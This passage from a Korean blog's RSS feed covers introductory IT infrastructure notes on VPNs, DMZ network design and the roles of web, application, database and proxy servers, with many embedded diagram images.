&lt;p data-ke-size=&quot;size16&quot;&gt;- 네트워크 간에 전송되는 트래픽이 암호화되기 때문에 보안이 뛰어남&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br3cNE/btsNu5tdO0L/teWnJDlDrKRW9y9Rpeq351/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br3cNE/btsNu5tdO0L/teWnJDlDrKRW9y9Rpeq351/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br3cNE/btsNu5tdO0L/teWnJDlDrKRW9y9Rpeq351/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr3cNE%2FbtsNu5tdO0L%2FteWnJDlDrKRW9y9Rpeq351%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;870&quot; height=&quot;302&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- VPN 사용 예시 #1: 터널베어라는 VPN을 사용해 한국에서 아르헨티나의 서비스에 접속 가능(TIDAL, NETFLIX 등)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1162&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/degdLm/btsNr4O16Gz/752ErxnzDwQdwP3wQXENlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/degdLm/btsNr4O16Gz/752ErxnzDwQdwP3wQXENlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/degdLm/btsNr4O16Gz/752ErxnzDwQdwP3wQXENlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdegdLm%2FbtsNr4O16Gz%2F752ErxnzDwQdwP3wQXENlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1162&quot; height=&quot;417&quot; data-origin-width=&quot;1162&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- VPN 사용 예시 #2: 집 혹은 카페와 같은 외부에서 기업 내부의 애플리케이션(사내 그룹웨어)에 안전하게 접속 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 카페에서 일반 인터넷 사용 시 기업 내부 애플리케이션 접근 불가&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wvUqm/btsNBaAntJB/Xz9jz0b9GcOm0YltdH2H61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wvUqm/btsNBaAntJB/Xz9jz0b9GcOm0YltdH2H61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wvUqm/btsNBaAntJB/Xz9jz0b9GcOm0YltdH2H61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwvUqm%2FbtsNBaAntJB%2FXz9jz0b9GcOm0YltdH2H61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;338&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DMZ(Demilitarized Zone): 비무장지대, 외부망(외부 네트워크)과 내부망(내부 네트워크)의 중간 지점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 외부망에 있는 해커의 공격으로부터 기업의 중요한 서버와 클라이언트를 보호하기 위해 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 외부에 서비스를 제공하면서 내부 네트워크를 보호하는 서브넷, 즉 외부에 오픈된 서버 영역&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GqUoI/btsNBFtijWI/iuoTgFm0SFJp9dcuH8OWV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GqUoI/btsNBFtijWI/iuoTgFm0SFJp9dcuH8OWV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GqUoI/btsNBFtijWI/iuoTgFm0SFJp9dcuH8OWV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGqUoI%2FbtsNBFtijWI%2FiuoTgFm0SFJp9dcuH8OWV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;396&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DMZ 앞뒤로 방화벽이 설치됨(내부망/외부망)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 내/외부 네트워크는 DMZ에 접속할 수 있지만,&amp;nbsp;&amp;nbsp;DMZ내의 컴퓨터는 오직 외부 네트워크에만 연결할 수 있다, 이는 DMZ 내의 호스트의 침입으로부터 내부 네트워크를 보호하기 위함이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;내부망에서는 DMZ에 접근 가능하지만, DMZ에서는 내부망에 접근 불가&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;829&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvWQeV/btsNBdX9ucE/38nKhwRaxKjoofaYzUyMr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvWQeV/btsNBdX9ucE/38nKhwRaxKjoofaYzUyMr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvWQeV/btsNBdX9ucE/38nKhwRaxKjoofaYzUyMr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvWQeV%2FbtsNBdX9ucE%2F38nKhwRaxKjoofaYzUyMr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;829&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;829&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 일반적인 LAN, WAN, DMZ 구성도&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cswj0d/btsNBAZUbzl/TRJj6p5PPkh2JnEl58cuSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cswj0d/btsNBAZUbzl/TRJj6p5PPkh2JnEl58cuSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cswj0d/btsNBAZUbzl/TRJj6p5PPkh2JnEl58cuSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcswj0d%2FbtsNBAZUbzl%2FTRJj6p5PPkh2JnEl58cuSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;411&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;
&lt;p style=&quot;color: #353638;&quot; data-ke-size=&quot;size16&quot;&gt;참고:&lt;/p&gt;
&lt;p style=&quot;color: #353638;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #353638; text-align: start;&quot;&gt;
&lt;div&gt;&lt;a href=&quot;https://ee-22-joo.tistory.com/40&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ee-22-joo.tistory.com/40&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>it 운영</category>
      <category>IT 인프라</category>
      <category>인프라</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/216</guid>
      <comments>https://it-log.tistory.com/216#entry216comment</comments>
      <pubDate>Sat, 26 Apr 2025 22:00:37 +0900</pubDate>
    </item>
    <item>
      <title>서버의 정의 및 역할</title>
      <link>https://it-log.tistory.com/215</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;서버와 클라이언트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버: 클라이언트에게 네트워크를 통해 정보나 서비스를 제공하는 장치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라이언트: 네트워크를 통하여 서버에 접속해 정보를 확인하거나 서비스를 이용하는 장치&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZyd3U/btsNleiW4CS/pkDiszcVstrFA9k3vwouPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZyd3U/btsNleiW4CS/pkDiszcVstrFA9k3vwouPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZyd3U/btsNleiW4CS/pkDiszcVstrFA9k3vwouPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZyd3U%2FbtsNleiW4CS%2FpkDiszcVstrFA9k3vwouPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;802&quot; height=&quot;315&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;321&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jf71B/btsNlEuTPnp/tPlIm0FoZhw5GKwC7uj2o1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jf71B/btsNlEuTPnp/tPlIm0FoZhw5GKwC7uj2o1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jf71B/btsNlEuTPnp/tPlIm0FoZhw5GKwC7uj2o1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJf71B%2FbtsNlEuTPnp%2FtPlIm0FoZhw5GKwC7uj2o1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;810&quot; height=&quot;321&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;321&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트와 서버 둘 다 컴퓨터다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;251&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwAqJh/btsNmcdTgWP/NItF1D5vddmSHAH7kRITv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwAqJh/btsNmcdTgWP/NItF1D5vddmSHAH7kRITv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwAqJh/btsNmcdTgWP/NItF1D5vddmSHAH7kRITv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwAqJh%2FbtsNmcdTgWP%2FNItF1D5vddmSHAH7kRITv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;837&quot; height=&quot;251&quot; data-origin-width=&quot;837&quot; data-origin-height=&quot;251&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;서버의 역할 및 종류&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 애플리케이션을 구성하는 서버의 종류&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JbxCT/btsNmulUAcX/NRTHW5N4iBwpmSywr0kKH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JbxCT/btsNmulUAcX/NRTHW5N4iBwpmSywr0kKH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JbxCT/btsNmulUAcX/NRTHW5N4iBwpmSywr0kKH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJbxCT%2FbtsNmulUAcX%2FNRTHW5N4iBwpmSywr0kKH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;418&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 서버: 정적 콘텐츠(HTML, CSS, 텍스트, 이미지 등)을 클라이언트에 전달&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;693&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bM4C0Q/btsNmvd3x9d/aJFsKRqaa3bjmQtC0unqdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bM4C0Q/btsNmvd3x9d/aJFsKRqaa3bjmQtC0unqdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bM4C0Q/btsNmvd3x9d/aJFsKRqaa3bjmQtC0unqdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbM4C0Q%2FbtsNmvd3x9d%2FaJFsKRqaa3bjmQtC0unqdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;693&quot; height=&quot;280&quot; data-origin-width=&quot;693&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 애플리케이션 서버: 동적 콘텐츠(DB와 연결되어 데이터 송수신, 프로그램으로 데이터 조작 등)을 클라이언트에 전달&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MPnj2/btsNnkJnx2W/crjKDD1pgR7YimmofudVlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MPnj2/btsNnkJnx2W/crjKDD1pgR7YimmofudVlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MPnj2/btsNnkJnx2W/crjKDD1pgR7YimmofudVlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMPnj2%2FbtsNnkJnx2W%2FcrjKDD1pgR7YimmofudVlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;410&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터베이스(DB) 서버: 애플리케이션의 정보를 저장해서 운영, 관리할 수 있는 데이터베이스를 구동하는 서버&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n6CXQ/btsNm1J3Qw4/Mhmii2vOXbiHRHLC5WIwK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n6CXQ/btsNm1J3Qw4/Mhmii2vOXbiHRHLC5WIwK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n6CXQ/btsNm1J3Qw4/Mhmii2vOXbiHRHLC5WIwK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn6CXQ%2FbtsNm1J3Qw4%2FMhmii2vOXbiHRHLC5WIwK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;412&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 리버스 프록시 서버: 클라이언트와 서버가 서로 데이터를 주고받을 수 있도록 전달(로드밸런싱 역할 가능), 애플리케이션 서버가 여러 대 일때 부하분산(로드밸런싱) 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;931&quot; data-origin-height=&quot;477&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxiim4/btsNmmVZtgG/9Wfyk98QFebcaDx5pkoa4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxiim4/btsNmmVZtgG/9Wfyk98QFebcaDx5pkoa4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxiim4/btsNmmVZtgG/9Wfyk98QFebcaDx5pkoa4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbxiim4%2FbtsNmmVZtgG%2F9Wfyk98QFebcaDx5pkoa4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;931&quot; height=&quot;477&quot; data-origin-width=&quot;931&quot; data-origin-height=&quot;477&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 포워드 프록시(캐시) 서버: 미리 데이터를 저장해 뒀다가 요청이 오면 데이터 전달(클라이언트가 요청한 데이터가 캐시 서버에 존재하는 경우 바로 응답)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;442&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1IlcG/btsNmlCLUsq/YM2fKPGl0l9TLzmoD3eOa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1IlcG/btsNmlCLUsq/YM2fKPGl0l9TLzmoD3eOa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1IlcG/btsNmlCLUsq/YM2fKPGl0l9TLzmoD3eOa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1IlcG%2FbtsNmlCLUsq%2FYM2fKPGl0l9TLzmoD3eOa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;933&quot; height=&quot;442&quot; data-origin-width=&quot;933&quot; data-origin-height=&quot;442&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버의 역할: 클라이언트의 요청을 수행하기 위해 다양한 서버들끼리 통신한 후 결과를 클라이언트에 전달&lt;/p&gt;
